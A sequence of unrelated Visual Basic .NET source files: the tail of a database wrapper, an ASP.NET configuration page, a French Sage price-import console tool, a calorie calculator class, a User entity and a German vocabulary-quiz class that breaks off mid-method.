m_objCmd.Parameters.Add(parm) End Sub Public Sub AddParameter(ByVal parm As IDbDataParameter) m_context.Trace.Write("MyDatabase", "AddParameter") m_objCmd.Parameters.Add(parm) End Sub Public Function ReadParam(ByVal name As String) As Object m_context.Trace.Write("MyDatabase", "ReadParam") Return m_objCmd.Parameters.Item(name).Value() End Function #End Region #Region "Transaction Methods" Public Sub UseTransaction() m_context.Trace.Write("MyDatabase", "UseTransaction") Select Case m_dbType Case DriverType.SqlClient Dim objTrans As SqlTransaction m_objCmd.Transaction = objTrans Case DriverType.Odbc Dim objTrans As OdbcTransaction m_objCmd.Transaction = objTrans Case DriverType.OleDb Dim objTrans As OleDbTransaction m_objCmd.Transaction = objTrans End Select End Sub Public Sub CommitTransaction() m_context.Trace.Write("MyDatabase", "commitTransaction") m_objCmd.Transaction.Commit() End Sub Public Sub RollbackTransaction() m_context.Trace.Write("MyDatabase", "rollbackTransaction") If m_objCmd.Transaction Is Nothing = False Then m_objCmd.Transaction.Rollback() End If End Sub #End Region #Region "DB Specific Types" Private Sub BuildTypeHash() Dim names() As String Dim values() As Integer Select Case m_dbType Case DriverType.SqlClient names = [Enum].GetNames(GetType(SqlDbType)) values = [Enum].GetValues(GetType(SqlDbType)) Case DriverType.Odbc names = [Enum].GetNames(GetType(OdbcType)) values = [Enum].GetValues(GetType(OdbcType)) Case DriverType.OleDb names = [Enum].GetNames(GetType(OleDbType)) values = [Enum].GetValues(GetType(OleDbType)) End Select m_MyTypes = New Hashtable Dim i As Integer For i = 0 To names.GetUpperBound(0) m_MyTypes.Add(LCase(names(i)), values(i)) Next End Sub Private Function GetDbType(ByVal t As String) As Integer Try Return CInt(m_MyTypes(LCase(t))) Catch Throw New Exception("MyDatabase: Invalid data type to function GetDbType") End Try End Function #End Region End Class End Namespace
Imports TalentSystemDefaults Imports TalentSystemDefaults.DataAccess.ConfigObjects Imports TalentSystemDefaults.DataEntities Imports TalentSystemDefaults.DataAccess.DataObjects Partial Class MasterConfiguration Inherits System.Web.UI.Page Const SELECT_VALUE As String = "---Select value---" Property displayTabs As String() Property dataTypes As String() Protected Sub Page_Load(sender As Object, e As EventArgs) Handles Me.Load displayTabs = DMFactory.GetDisplayTabs(GetDESettings()) dataTypes = DMFactory.GetDataTypes() If (IsPostBack) Then If Request.Params.Get("__EVENTTARGET") = ddlTableName.UniqueID Then SetProperties() ' reset txtDefaultName.Text = String.Empty End If Else Session.Clear() SetTableNames() Session("selectedRows") = New List(Of Integer) End If End Sub Private Sub SetProperties() plhDefaultKey1.Visible = False txtDefaultKey1.Text = String.Empty plhDefaultKey2.Visible = False txtDefaultKey2.Text = String.Empty plhDefaultKey3.Visible = False txtDefaultKey3.Text = String.Empty plhDefaultKey4.Visible = False txtDefaultKey4.Text = String.Empty plhVariableKey1.Visible = False txtVariableKey1.Text = String.Empty plhVariableKey2.Visible = False txtVariableKey2.Text = String.Empty plhVariableKey3.Visible = False txtVariableKey3.Text = String.Empty plhVariableKey4.Visible = False txtVariableKey4.Text = String.Empty plhDefaultName.Visible = False plhBaseDefinition.Visible = False plhLoad.Visible = False plhButtons.Visible = False plhClassDetails.Visible = False plhCompanyCode.Visible = False plhColumns.Visible = False plhBusinessUnitSelector.Visible = False gridConfigData.DataSource = Nothing gridConfigData.DataBind() Dim tableName As String = ddlTableName.SelectedValue If Not tableName = SELECT_VALUE Then If (DMFactory.IsiSeriesTable(tableName)) Then plhCompanyCode.Visible = True Else plhBusinessUnitSelector.Visible = True End If If (DMFactory.EnableSelectedColumn(tableName)) Then plhColumns.Visible = True End If Dim defaultKeyValues As Dictionary(Of String, String) = DMFactory.GetDefaultKeyValues(tableName) For Each key In defaultKeyValues.Keys Dim value As Boolean = CType(defaultKeyValues(key), Boolean) Select Case key Case "DefaultKey1Active" plhDefaultKey1.Visible = value Case "DefaultKey2Active" plhDefaultKey2.Visible = value Case "DefaultKey3Active" plhDefaultKey3.Visible = value Case "DefaultKey4Active" plhDefaultKey4.Visible = value End Select Next Dim variableKeyValues As Dictionary(Of String, String) = DMFactory.GetVariableKeyValues(tableName) For Each key In variableKeyValues.Keys Dim value As Boolean = CType(variableKeyValues(key), Boolean) Select Case key Case "VariableKey1Active" plhVariableKey1.Visible = value Case "VariableKey2Active" plhVariableKey2.Visible = value Case "VariableKey3Active" plhVariableKey3.Visible = value Case "VariableKey4Active" plhVariableKey4.Visible = value End Select Next plhLoad.Visible = True plhBaseDefinition.Visible = DMFactory.IsBaseDefinitionEnabled(tableName) plhDefaultName.Visible = DMFactory.IsDisplayNameEnabled(tableName) End If End Sub Private Sub SetTableNames() Dim values As List(Of String) = New List(Of String) values.Add(SELECT_VALUE) values.AddRange(DMFactory.GetTableNames()) ddlTableName.DataSource = values ddlTableName.DataBind() End Sub Protected Sub btnLoad_Click(sender As Object, e As EventArgs) Handles btnLoad.Click Dim results As List(Of ConfigurationEntity) blErrorMessages.Items.Clear() Dim settings As DESettings = GetDESettings() Dim dbObject As DBObjectBase = DMFactory.GetDBObject(ddlTableName.SelectedValue, settings) Dim defaultKey As String = txtDefaultKey1.Text & txtDefaultKey2.Text & txtDefaultKey3.Text & txtDefaultKey4.Text Dim variableKey As String = txtVariableKey1.Text & txtVariableKey2.Text & txtVariableKey3.Text & txtVariableKey4.Text Dim defaultName As String = txtDefaultName.Text.Trim Dim key As String = "data_" & ddlTableName.SelectedValue & defaultKey & variableKey & defaultName If dbObject Is Nothing Then gridConfigData.DataSource = Nothing gridConfigData.DataBind() Else If (Session(key) Is Nothing) Then Dim defaultKeys() As String = {txtDefaultKey1.Text, txtDefaultKey2.Text, txtDefaultKey3.Text, txtDefaultKey4.Text} Dim variableKeys() As String = {txtVariableKey1.Text, txtVariableKey2.Text, txtVariableKey3.Text, txtVariableKey4.Text} If (DMFactory.IsiSeriesTable(ddlTableName.SelectedValue)) Then If (plhColumns.Visible) Then results = dbObject.RetrieveAlliSeriesValues(txtCompanyCode.Text, defaultKeys, variableKeys, txtColumns.Text) Else results = dbObject.RetrieveAlliSeriesValues(txtCompanyCode.Text, defaultKeys, variableKeys) End If Else results = dbObject.RetrieveAllValues(GetBusinessUnit(), defaultKeys, variableKeys, defaultName) End If If results.Count > 0 Then settings.VariableKey1 = txtVariableKey1.Text settings.VariableKey2 = txtVariableKey2.Text settings.VariableKey3 = txtVariableKey3.Text settings.VariableKey4 = txtVariableKey4.Text Dim dataObject As New tbl_config_detail(settings) Dim defaultValues() As String = results.Select(Function(c) c.DefaultName).ToArray() If (plhBaseDefinition.Visible AndAlso rbVariableKey1.Checked) Then Dim masterConfigIds() As String = dataObject.GetMasterConfigIds(ddlTableName.SelectedValue, defaultValues) If (masterConfigIds.Length = defaultValues.Length) Then Dim i As Integer = 0 For Each config As ConfigurationEntity In results config.MasterConfigId = masterConfigIds(i) i = i + 1 Next Else blErrorMessages.Items.Add("No base definitions found") Return End If End If If (plhBaseDefinition.Visible AndAlso rbAll.Checked) Then For Each config As ConfigurationEntity In results config.VariableKey1 = rbAll.Text Next End If Session(key) = results End If End If Dim allItems As List(Of ConfigurationEntity) = GetAllItems() If (allItems.Count > 0) Then gridConfigData.DataSource = allItems gridConfigData.DataBind() plhButtons.Visible = True plhClassDetails.Visible = True ShowHideColumns(allItems) End If End If End Sub Private Function GetBusinessUnit() As String If rbUK.Checked Then Return rbUK.Value Else Return rbBoxoffice.Value End If End Function Protected Sub btnSave_Click(sender As Object, e As EventArgs) blErrorMessages.Items.Clear() If (txtClassName.Text.Trim = String.Empty) Then blErrorMessages.Items.Add("Class name is mandatory") End If If (Not rbShowAsModuleYes.Checked AndAlso Not rbShowAsModuleNo.Checked) Then blErrorMessages.Items.Add("Show as module selection is mandatory") End If If (rbShowAsModuleYes.Checked AndAlso String.IsNullOrEmpty(txtModuleTitle.Text.Trim)) Then blErrorMessages.Items.Add("Module title is mandatory") End If If (blErrorMessages.Items.Count > 0) Then plhErrorList.Visible = True Return End If Dim guidGenerator As New GUIDGenerator() Dim entities As New List(Of ConfigurationEntity) For Each row As GridViewRow In gridConfigData.Rows Next For Each item As GridViewRow In gridConfigData.Rows Dim length = item.Cells.Count Dim values(length) As String For i As Integer = 0 To (length - 1) values(i) = GetValue(item, i) Next Dim entity = New ConfigurationEntity(values(1), values(2), {values(3), values(4), values(5), values(6)}, {values(7), values(8), values(9), values(10)}, values(11), values(12), values(13), values(14), values(15), values(16), values(17), values(18)) Dim validationGroup As New List(Of String) If (values(19)) Then validationGroup.Add("VG.Mandatory") End If If (values(20)) Then validationGroup.Add("VG.MinLength") End If If (values(21)) Then validationGroup.Add("VG.MaxLength") End If entity.ValidationGroup = validationGroup Dim minLengthStr As String = values(22).ToString.Trim Dim maxLengthStr As String = values(23).ToString.Trim If (Not String.IsNullOrEmpty(minLengthStr)) Then entity.MinLength = CType(minLengthStr, Integer) End If If (Not String.IsNullOrEmpty(maxLengthStr)) Then entity.MaxLength = CType(maxLengthStr, Integer) End If entities.Add(entity) Next Dim dataObject As New tbl_config_detail(GetDESettings()) Dim moduleName As String = txtClassName.Text.Trim.Replace("DM", String.Empty) If (dataObject.SaveAll(entities.ToArray(), moduleName)) Then Session("MasterConfigs") = entities.ToArray() Session("DataModule") = New DataModuleClass(txtClassName.Text, txtModuleTitle.Text, rbShowAsModuleYes.Checked) Response.Redirect("/MasterConfigurationResult.aspx") End If End Sub Private Function GetValue(ByRef item As GridViewRow, ByVal i As Integer) As Object Dim value As Object = Nothing Dim control As Control = item.Cells(i).Controls(1) If TypeOf control Is TextBox Then value = CType(control, TextBox).Text.Trim ElseIf TypeOf control Is DropDownList Then value = CType(control, DropDownList).SelectedValue ElseIf TypeOf control Is CheckBox Then value = CType(control, CheckBox).Checked End If Return value.ToString.Trim End Function Private Function GetDESettings() As DESettings Dim settings As New DESettings With settings .BusinessUnit = GetBusinessUnit() .DefaultBusinessUnit = ConfigurationManager.AppSettings("DefaultBusinessUnit") .FrontEndConnectionString = ConfigurationManager.ConnectionStrings("TalentEBusinessDBConnectionString").ToString .DestinationDatabase = DestinationDatabase.SQL2005.ToString End With Return settings End Function Private Sub ShowHideColumns(ByVal allItems As List(Of ConfigurationEntity)) Dim hideMasterConfig As Boolean = True Dim hideDK1 As Boolean = True Dim hideDK2 As Boolean = True Dim hideDK3 As Boolean = True Dim hideDK4 As Boolean = True Dim hideVK1 As Boolean = True Dim hideVK2 As Boolean = True Dim hideVK3 As Boolean = True Dim hideVK4 As Boolean = True For Each c As ConfigurationEntity In allItems hideMasterConfig = hideMasterConfig And c.MasterConfigId = String.Empty hideDK1 = hideDK1 And c.DefaultKey1 = String.Empty hideDK2 = hideDK2 And c.DefaultKey2 = String.Empty hideDK3 = hideDK3 And c.DefaultKey3 = String.Empty hideDK4 = hideDK4 And c.DefaultKey4 = String.Empty hideVK1 = hideVK1 And c.VariableKey1 = String.Empty hideVK2 = hideVK2 And c.VariableKey2 = String.Empty hideVK3 = hideVK3 And c.VariableKey3 = String.Empty hideVK4 = hideVK4 And c.VariableKey4 = String.Empty Next gridConfigData.Columns(2).Visible = Not hideMasterConfig gridConfigData.Columns(3).Visible = Not hideDK1 gridConfigData.Columns(4).Visible = Not hideDK2 gridConfigData.Columns(5).Visible = Not hideDK3 gridConfigData.Columns(6).Visible = Not hideDK4 gridConfigData.Columns(7).Visible = Not hideVK1 gridConfigData.Columns(8).Visible = Not hideVK2 gridConfigData.Columns(9).Visible = Not hideVK3 gridConfigData.Columns(10).Visible = Not hideVK4 End Sub Protected Sub rbShowAsModuleYes_CheckedChanged(sender As Object, e As EventArgs) If (rbShowAsModuleYes.Checked) Then plhModuleTitle.Visible = True End If End Sub Protected Sub rbShowAsModuleNo_CheckedChanged(sender As Object, e As EventArgs) If (rbShowAsModuleNo.Checked) Then plhModuleTitle.Visible = False End If End Sub Protected Sub gridConfigData_RowDataBound(sender As Object, e As GridViewRowEventArgs) Dim ddlDisplayTab As DropDownList = e.Row.FindControl("ddlDisplayTab") If ddlDisplayTab IsNot Nothing Then ddlDisplayTab.DataSource = displayTabs ddlDisplayTab.DataBind() End If Dim ddlDataType As DropDownList = e.Row.FindControl("ddlDataType") If ddlDataType IsNot Nothing Then ddlDataType.DataSource = dataTypes ddlDataType.DataBind() End If End Sub Protected Sub cbSelect_CheckedChanged(sender As Object, e As EventArgs) Dim checkBox As CheckBox = CType(sender, CheckBox) Dim rowIndex = CType(checkBox.Parent.Parent, GridViewRow).RowIndex Dim selectedRows As List(Of Integer) = GetSelectedRows() If (checkBox.Checked) Then selectedRows.Add(rowIndex) Else selectedRows.Remove(rowIndex) End If End Sub Private Function GetSelectedRows() As List(Of Integer) Return Session("selectedRows") End Function Protected Sub btnDelete_Click(sender As Object, e As EventArgs) Dim allItems As List(Of ConfigurationEntity) = GetAllItems() Dim selectedRows As List(Of Integer) = Session("selectedRows") Dim removeItems As New List(Of ConfigurationEntity) If (selectedRows IsNot Nothing) Then For Each i As Integer In selectedRows removeItems.Add(allItems(i)) Next For Each item As ConfigurationEntity In removeItems RemoveItem(item) Next gridConfigData.DataSource = GetAllItems() gridConfigData.DataBind() Session("selectedRows") = New List(Of Integer) End If End Sub Protected Function GetAllItems() As List(Of ConfigurationEntity) Dim allItems As New List(Of ConfigurationEntity) For Each key As String In Session.Keys If (key.Contains("data_")) Then Dim list As List(Of ConfigurationEntity) = CType(Session(key), List(Of ConfigurationEntity)) allItems.AddRange(list) End If Next Return allItems End Function Protected Sub RemoveItem(ByVal item As ConfigurationEntity) For Each key As String In Session.Keys If (key.Contains("data_")) Then Dim list As List(Of ConfigurationEntity) = CType(Session(key), List(Of ConfigurationEntity)) If (list.Contains(item)) Then list.Remove(item) Return End If End If Next End Sub Protected Sub btnClear_Click(sender As Object, e As EventArgs) Handles btnClear.Click Session.Clear() plhButtons.Visible = False gridConfigData.DataSource = GetAllItems() gridConfigData.DataBind() Session("selectedRows") = New List(Of Integer) End Sub End Class
Imports Objets100Lib Imports Excel = Microsoft.Office.Interop.Excel Imports System.IO Imports System.Data Imports System.Data.SqlClient Module Module1 Private OM_BaseCial As New BSCIALApplication3 Private cnx As New SqlClient.SqlConnection Private ExcelApp As New Excel.Application Sub Main() Try If Environment.GetCommandLineArgs.Length <> 4 Then Throw New Exception("Nombre d'arguments invalide !") Else OM_BaseCial.Name = Environment.GetCommandLineArgs.GetValue(1) OM_BaseCial.Loggable.UserName = Environment.GetCommandLineArgs.GetValue(2) OM_BaseCial.Loggable.UserPwd = Environment.GetCommandLineArgs.GetValue(3) OM_BaseCial.Open() cnx.ConnectionString = String.Format("server={0};Trusted_Connection=yes;database={1};MultipleActiveResultSets=True", OM_BaseCial.DatabaseInfo.ServerName, OM_BaseCial.DatabaseInfo.DatabaseName) cnx.Open() Dim cmd As SqlCommand = cnx.CreateCommand cmd.CommandText = "SELECT TOP 1 AR_Ref FROM F_ARTFOURNISS WHERE CT_Num = 'FTO98800' ORDER BY AR_Ref DESC" Dim reader As SqlDataReader = cmd.ExecuteReader(CommandBehavior.SingleResult) Dim refMagBase As Integer While reader.Read refMagBase = Split(reader.Item("AR_Ref"), "-").Last End While refMagBase += 3 reader.Close() cmd.Dispose() Dim cdesBook As Excel.Workbook = ExcelApp.Workbooks.Open("S:\DIVERS\Toolstream_Francois.xlsx") Dim tarifBook As Excel.Workbook = ExcelApp.Workbooks.Open("S:\FOURNISSEURS\Toolstream\2017 S2\Liste Excel de prix fin 2017 et bar codes en francais.xls") Dim cdesSheet As Excel.Worksheet = cdesBook.Worksheets("Feuil1") Dim tarifSheet As Excel.Worksheet = tarifBook.Worksheets("Produit") Dim cdesRc As Integer = cdesSheet.UsedRange.Rows.Count Dim tarifRc As Integer = tarifSheet.UsedRange.Rows.Count Dim fourn As IBOFournisseur3 = OM_BaseCial.CptaApplication.FactoryFournisseur.ReadNumero("FTO98800") Dim famF As IBOFamille3 = OM_BaseCial.FactoryFamille.ReadCode(FamilleType.FamilleTypeDetail, "F") Dim unite As IBPUnite = OM_BaseCial.FactoryUnite.ReadIntitule("PCE") 'Dim gammeRemise As IBPGamme = OM_BaseCial.FactoryGamme.ReadIntitule("quantite") 'Dim refMagBase As Integer = 553 For i As Integer = 2 To cdesRc Dim cRef As String = cdesSheet.Cells(i, 1).Value If cRef = "" Then Exit For End If Dim coef As Double = cdesSheet.Cells(i, 2).Value 'For ii As Integer = 1 To tarifRc ' Dim tRef As String = tarifSheet.Cells(i, 1).Value ' If cRef = tRef Then ' Dim des As String = tarifSheet.Cells(i, 5).Value ' Debug.Print(des) ' End If 'Next Dim currentFind As Excel.Range = Nothing Dim firstFind As Excel.Range = Nothing 'Debug.Print(cRef) Console.WriteLine(cRef) currentFind = tarifSheet.UsedRange.Columns(1).Find(cRef) If currentFind Is Nothing Then 'Debug.Print("Non trouvé") Console.WriteLine("Non trouvé") End If While Not currentFind Is Nothing If firstFind Is Nothing Then firstFind = currentFind Dim des As String = Left(Trim(String.Format("{0} {1}", tarifSheet.Cells(firstFind.Row, 5).Value, tarifSheet.Cells(firstFind.Row, 6).Value)), 69).ToUpper Dim colisage As Integer = tarifSheet.Cells(firstFind.Row, 11).Value Dim prix As Double = tarifSheet.Cells(firstFind.Row, 12).Value Dim qec As Integer = tarifSheet.Cells(firstFind.Row, 13).Value Dim prixQec As Double = tarifSheet.Cells(firstFind.Row, 14).Value Dim gencode As String = tarifSheet.Cells(firstFind.Row, 15).Value cmd = cnx.CreateCommand cmd.CommandText = "SELECT AR_Ref FROM F_ARTFOURNISS WHERE AF_RefFourniss = @ref AND CT_Num = @ctnum" cmd.Parameters.AddWithValue("@ref", cRef) cmd.Parameters.AddWithValue("@ctnum", fourn.CT_Num) reader = cmd.ExecuteReader If reader.HasRows = False Then Dim article As IBOArticle3 = OM_BaseCial.FactoryArticle.Create article.Famille = famF article.AR_Ref = String.Format("988-0{0}", refMagBase) article.AR_Design = des article.Unite = unite article.AR_PrixAchat = prix article.AR_Coef = coef article.AR_PrixVen = prix * coef article.SetDefault() article.AR_SuiviStock = SuiviStockType.SuiviStockTypeCmup article.WriteDefault() article.InfoLibre.Item("ETIQUETTE_FORMAT") = "FORMAT_1" article.Write() ' '''' PX ACH, COEF, PX VEN + CAT TARIFS ' For Each c As IBOArticleTarifCategorie3 In article.FactoryArticleTarifCategorie.List c.Remove() Next For Each catTarif As IBOFamilleTarifCategorie In famF.FactoryFamilleTarifCategorie.List Dim c As IBOArticleTarifCategorie3 = article.FactoryArticleTarifCategorie.Create() c.Article = article c.PrixTTC = catTarif.PrixTTC c.CategorieTarif = catTarif.CategorieTarif If catTarif.PrixTTC = True Then c.Prix = Math.Round(article.AR_PrixVen * 1.2, 2) End If c.Remise = catTarif.Remise c.WriteDefault() Next Dim tarif As IBOArticleTarifFournisseur3 = fourn.FactoryFournisseurTarif.Create() tarif.Article = article tarif.Reference = cRef tarif.AF_CodeBarre = gencode tarif.AF_Colisage = colisage tarif.AF_QteMini = qec tarif.Prix = prix tarif.Unite = unite 'tarif.GammeRemise = gammeRemise tarif.WriteDefault() 'If qec > 1 Then ' Dim gm1 As IBOArticleTarifQteFournisseur3 = tarif.FactoryArticleTarifQte.Create ' gm1.BorneSup = qec - 1 ' gm1.WriteDefault() ' Dim gm2 As IBOArticleTarifQteFournisseur3 = tarif.FactoryArticleTarifQte.Create ' gm2.BorneSup = 99999999999999 ' gm2.Remise.FromString(String.Format("{0}U", prix - prixQec)) ' gm2.WriteDefault() 'End If refMagBase += 3 Else Console.WriteLine("L'article existe deja {0}", cRef) While reader.Read Dim article As IBOArticle3 = OM_BaseCial.FactoryArticle.ReadReference(reader.Item("AR_Ref")) article.AR_Design = des article.AR_PrixAchat = prix article.AR_Coef = coef article.AR_PrixVen = prix * coef article.Write() Dim tarif As IBOArticleTarifFournisseur3 = fourn.FactoryFournisseurTarif.ReadArticle(article) tarif.AF_CodeBarre = gencode tarif.AF_Colisage = colisage tarif.AF_QteMini = qec tarif.Prix = prix tarif.Unite = unite tarif.Write() End While End If Console.WriteLine("{0} {1} {2} {3} {4} {5}", cRef, des, colisage, prix, qec, gencode) Exit While End If currentFind = tarifSheet.Next(currentFind) End While Next cdesBook.Close(False) tarifBook.Close(False) End If Catch ex As Exception Console.WriteLine(ex.Message) End Try Console.WriteLine("Fin du process...") Console.Read() End Sub End Module
' Author: Keith Smith ' Date: 30 November 2018 ' Description: This class file holds information about a food item ' and calculates its caloric value based on three inputs: ' 1. fat grams ' 2. carb grams ' 3. protein grams. Option Explicit On Option Strict On Imports Microsoft.VisualBasic Public Class food_item Private varFatGramsDecimal As Decimal Private varCarbGramsDecimal As Decimal Private varProteinGramsDecimal As Decimal Private Const FAT_GRAMS_TO_CALORIES_Integer As Integer = 9 Private Const CARB_AND_PROTEIN_GRAMS_TO_CALORIES_Integer As Integer = 4 Public Sub New(ByVal _FatGrams As Decimal, ByVal _CarbGrams As Decimal, ByVal _ProteinGrams As Decimal) FatGrams = _FatGrams CarbGrams = _CarbGrams ProteinGrams = _ProteinGrams End Sub Private WriteOnly Property FatGrams As Decimal Set(inFat As Decimal) If (ValidateFoodInputs(inFat)) Then varFatGramsDecimal = inFat Else Throw New IndexOutOfRangeException("You must enter a value between 0 and 1000 for fat grams.") End If End Set End Property Private WriteOnly Property CarbGrams As Decimal Set(inCarbs As Decimal) If (ValidateFoodInputs(inCarbs)) Then varCarbGramsDecimal = inCarbs Else Throw New IndexOutOfRangeException("You must enter a value between 0 and 1000 for carb grams.") End If End Set End Property Private WriteOnly Property ProteinGrams As Decimal Set(inProtein As Decimal) If (ValidateFoodInputs(inProtein)) Then varProteinGramsDecimal = inProtein Else Throw New IndexOutOfRangeException("You must enter a value between 0 and 1000 for protein grams.") End If End Set End Property Private Function ValidateFoodInputs(ByVal inGrams As Decimal) As Boolean If (inGrams >= 0D And inGrams <= 1000D) Then Return True Else Return False End If End Function Public Function GetTotalCalories() As Decimal Dim returnVal As Decimal returnVal += varFatGramsDecimal * FAT_GRAMS_TO_CALORIES_Integer returnVal += varCarbGramsDecimal * CARB_AND_PROTEIN_GRAMS_TO_CALORIES_Integer returnVal += varProteinGramsDecimal * CARB_AND_PROTEIN_GRAMS_TO_CALORIES_Integer Return returnVal End Function End Class
Imports System.ComponentModel.DataAnnotations Imports System.ComponentModel.DataAnnotations.Schema Imports Newtonsoft.Json ''' <summary> ''' The User entity class ''' This class is mapped to the "users" table in the database ''' Contains the database table "users" fields as propterties, marked with the attribute "Key" ''' Properties marked with the attribute "NotMapped" are mapped to a field in this entitys assosiated database table ''' Properties marked with the attribute "JsonIgnore" are not serialized or deserialized ''' </summary> <Table("users")> Public Class User Inherits Entity 'These are the table columns <Key> Public Overrides Property ID As Guid? Public Property CreatedDate As DateTime? Public Property Name As String Public Property Email As String <JsonIgnore> Public Property PasswordHash As String 'Marked JsonIgnore to not expose users PasswordHash when User entities are seriallised for API call returning. <JsonIgnore> Public Property Salt As String 'Marked JsonIgnore to not expose users Salt when User entities are seriallised for API call returning. Public Property Address As String Public Property Business As String Public Property Phone As String Public Property Company As String Public Property Flags As Int64? Public Overrides ReadOnly Property FileUploadAllowed As Boolean Get Return False End Get End Property Public Overrides ReadOnly Property TableName As String Get Return "users" End Get End Property ''' <summary> ''' Rating specific code for Put operations ''' </summary> ''' <param name="params"></param> Public Overrides Sub OnPut(Optional params As Object = Nothing) If ID Is Nothing OrElse ID = Guid.Empty Then ID = Guid.NewGuid End Sub ''' <summary> ''' Shadows the default = operator and changes it look at more than just the ID ''' </summary> ''' <param name="user1"></param> ''' <param name="user2"></param> ''' <returns></returns> Public Shared Shadows Operator =(user1 As User, user2 As User) If user1.ID = user2.ID Then Return True If CStr(user1.Email).ToLower = CStr(user2.Email).ToLower Then Return True If CStr(user1.Name).ToLower = CStr(user2.Name).ToLower Then Return True Return False End Operator ''' <summary> ''' Shadows the default <> operator and changes it look at more than just the ID ''' </summary> ''' <param name="user1"></param> ''' <param name="user2"></param> ''' <returns></returns> Public Shared Shadows Operator <>(user1 As User, user2 As User) Return Not (user1 = user2) End Operator Public Overrides Function OnFileUpload(Optional params As Object = Nothing) As Object Throw New NotImplementedException() End Function Public Overrides Function CreateFileAssociatedEntity(Optional params As Object = Nothing) As Object Throw New NotImplementedException() End Function Public Overrides Function OnPatch(Optional params As Object = Nothing) As Boolean Return True End Function End Class
Imports System.Collections.ObjectModel Imports Gravo Imports Gravo.AccessDatabaseOperation Public Enum TestResult NoError OtherMeaning Wrong Misspelled End Enum Public Enum xlsTestStyle TestOnce TestAgain RandomTestOnce RandomTestAgain End Enum ' Abfragen von Vokabeln Public Class xlsTestBase Inherits xlsBase ' Wörter, die abgefragt werden sollen Private testWords As Collection(Of Integer) = New Collection(Of Integer) Private testWordEntries As Collection(Of TestWord) Private nextWords As Collection(Of Integer) = New Collection(Of Integer) ' Abfragedetails, wie oft, welches Wort usw. Protected firstTest As Boolean = True ' gibt an, ob _zwischen zwei NextWord()_ aufrufen das wort zum ersten mal geprüft wird, Protected firstRun As Boolean = True Private deleted As Boolean Private iTestIndex As Integer Protected TestDictionaryEntry As WordEntry Protected CurrentTestWord As TestWord Private iTestCurrentWord As Integer = -1 ' Zähler Private m_iTestWordCountDone As Integer = 0 Private m_iTestWordCountDoneRight As Integer = 0 Private m_iTestWordCountDoneFalse As Integer = 0 Private m_iTestWordCountDoneFalseAllTrys As Integer = 0 ' Abfrageeinstellungen Private m_testStyle As xlsTestStyle = xlsTestStyle.RandomTestAgain Private m_useCards As Boolean = True ' soll das Karteikarten-System benutzt werden? Private m_testSetPhrases As Boolean = True Private m_testFormerLanguage As Boolean = True ' Remove and use m_queryLanguage instead Private m_queryLanguage As QueryLanguage = QueryLanguage.TargetLanguage Public Sub New() MyBase.New() End Sub ' Suche _alle_ Wörter Overridable Sub Start() If IsConnected() = False Then Throw New Exception("Database not connected.") Dim words As Collection(Of Integer) = New Collection(Of Integer) Dim command As String If TestSetPhrases Then command = "SELECT W.[Index] FROM DictionaryWords AS W, DictionaryMain AS M WHERE W.MainIndex = M.[Index];" Else command = "SELECT W.[Index] FROM DictionaryWords AS W, DictionaryMain AS M WHERE W.MainIndex = M.[Index] AND (NOT W.WordType=5);" End If DBConnection.ExecuteReader(command) Do While DBConnection.DBCursor.Read words.Add(DBConnection.SecureGetInt32(0)) Loop DBConnection.DBCursor.Close() Start(words) End Sub ' Finde alle Wörter, die zu dieser Sprache passen heraus Overridable Sub Start(ByVal Language As String) If IsConnected() = False Then Throw New Exception("Database not connected.") Dim words As Collection(Of Integer) = New Collection(Of Integer) Dim command As String If TestSetPhrases Then command = "SELECT W.[Index] FROM DictionaryWords AS W, DictionaryMain AS M WHERE W.MainIndex = M.[Index] AND M.LanguageName=" & GetDBEntry(Language) & ";" Else command = "SELECT W.[Index] FROM DictionaryWords AS W, DictionaryMain AS M WHERE W.MainIndex = M.[Index] AND M.LanguageName=" & GetDBEntry(Language) & " AND (NOT W.WordType=5);" End If DBConnection.ExecuteReader(command) Do While DBConnection.DBCursor.Read() words.Add(DBConnection.SecureGetInt32(0)) Loop DBConnection.DBCursor.Close() Start(words) End Sub Overridable Sub Start(ByRef TestWords As Collection(Of Integer)) ' Wörter sollen übergeben werden Collection von indizes aus DictionaryWords Randomize() Reset() Me.testWords = TestWords nextWords = New Collection(Of Integer) End Sub Private Sub Reset() If testWords IsNot Nothing Then testWords.Clear() testWords = Nothing If nextWords IsNot Nothing Then nextWords.Clear() nextWords = Nothing m_iTestWordCountDone = 0 m_iTestWordCountDoneRight = 0 m_iTestWordCountDoneFalse = 0 m_iTestWordCountDoneFalseAllTrys = 0 firstRun = True End Sub Overridable Sub StopTest() Reset() End Sub Overridable Sub NextWord() firstTest = IIf(firstRun, True, False) deleted = False ' übernehmen, falls cards aus sind, ansonsten testen, ob es überhaupt abgefragt werden soll If UseCards = False Then ' Ein Wort aus der liste zufällig aussuchen und auf jeden fall übernehmen iTestCurrentWord = CInt(Int((testWords.Count * Rnd()))) ' zufälliges wort bestimmen TestDictionaryEntry = testWordEntries.Item(iTestCurrentWord).WordEntry Else ' das Kartensystem wird genutzt Dim cards As New CardsDao(DBConnection) Do ' solange suchen, bis ein Wort gefunden worden ist, das genommen werden kann ' Index berechnen und beenden falls keine Wörter mehr da sind If testWords.Count = 0 Then If TestStyle = xlsTestStyle.RandomTestAgain Or TestStyle = xlsTestStyle.TestAgain Then testWords = nextWords nextWords = New Collection(Of Integer) firstRun = False If testWords.Count = 0 Then Exit Do ' Auch in der anderen Liste kein Wort mehr da Else Exit Do End If End If ' Wort rausfinden If TestStyle = xlsTestStyle.RandomTestAgain Or TestStyle = xlsTestStyle.RandomTestOnce Then iTestCurrentWord = CInt(Int((testWords.Count * Rnd()))) ' zufälliges Wort bestimmen, von 0 bis testWords.Count - 1 Else iTestCurrentWord = 0 End If iTestIndex = testWords.Item(iTestCurrentWord) ' Wenn firstRun nicht true ist, das Wort direkt übernehmen, Cards ist hier an If Not firstRun Then TestDictionaryEntry = testWordEntries.Item(iTestCurrentWord).WordEntry Exit Do End If ' Counter für Cards verringern, wenn 1 wird exception ausgelöst Try cards.Skip(testWordEntries.Item(iTestCurrentWord).WordEntry, QueryLanguage) ' verringern hat geklappt, es muß also ein neues Wort gesucht werden DeleteWord() ' und das alte kann gelöscht werden, es wird ja nicht abgefragt Catch ex As Exception ' anderer fehler MsgBox("Unknon Error! Maybe an error in the Cards-Table?" & vbCrLf & "Error-Message: " & ex.Message, MsgBoxStyle.Critical, "Error") Throw ex End Try Loop End If End Sub Overridable Function TestControl(ByVal input As String) As TestResult ' Im einen Fall müssen pre, word und post eingegeben werden. ' eigentlich. Noch nicht implementiert... ' im anderen Fall wird geprüft, ob die Bedeutung die richtige ist. wenn nicht, wird getestet, ob es ' diese Bedeutung auch gibt. 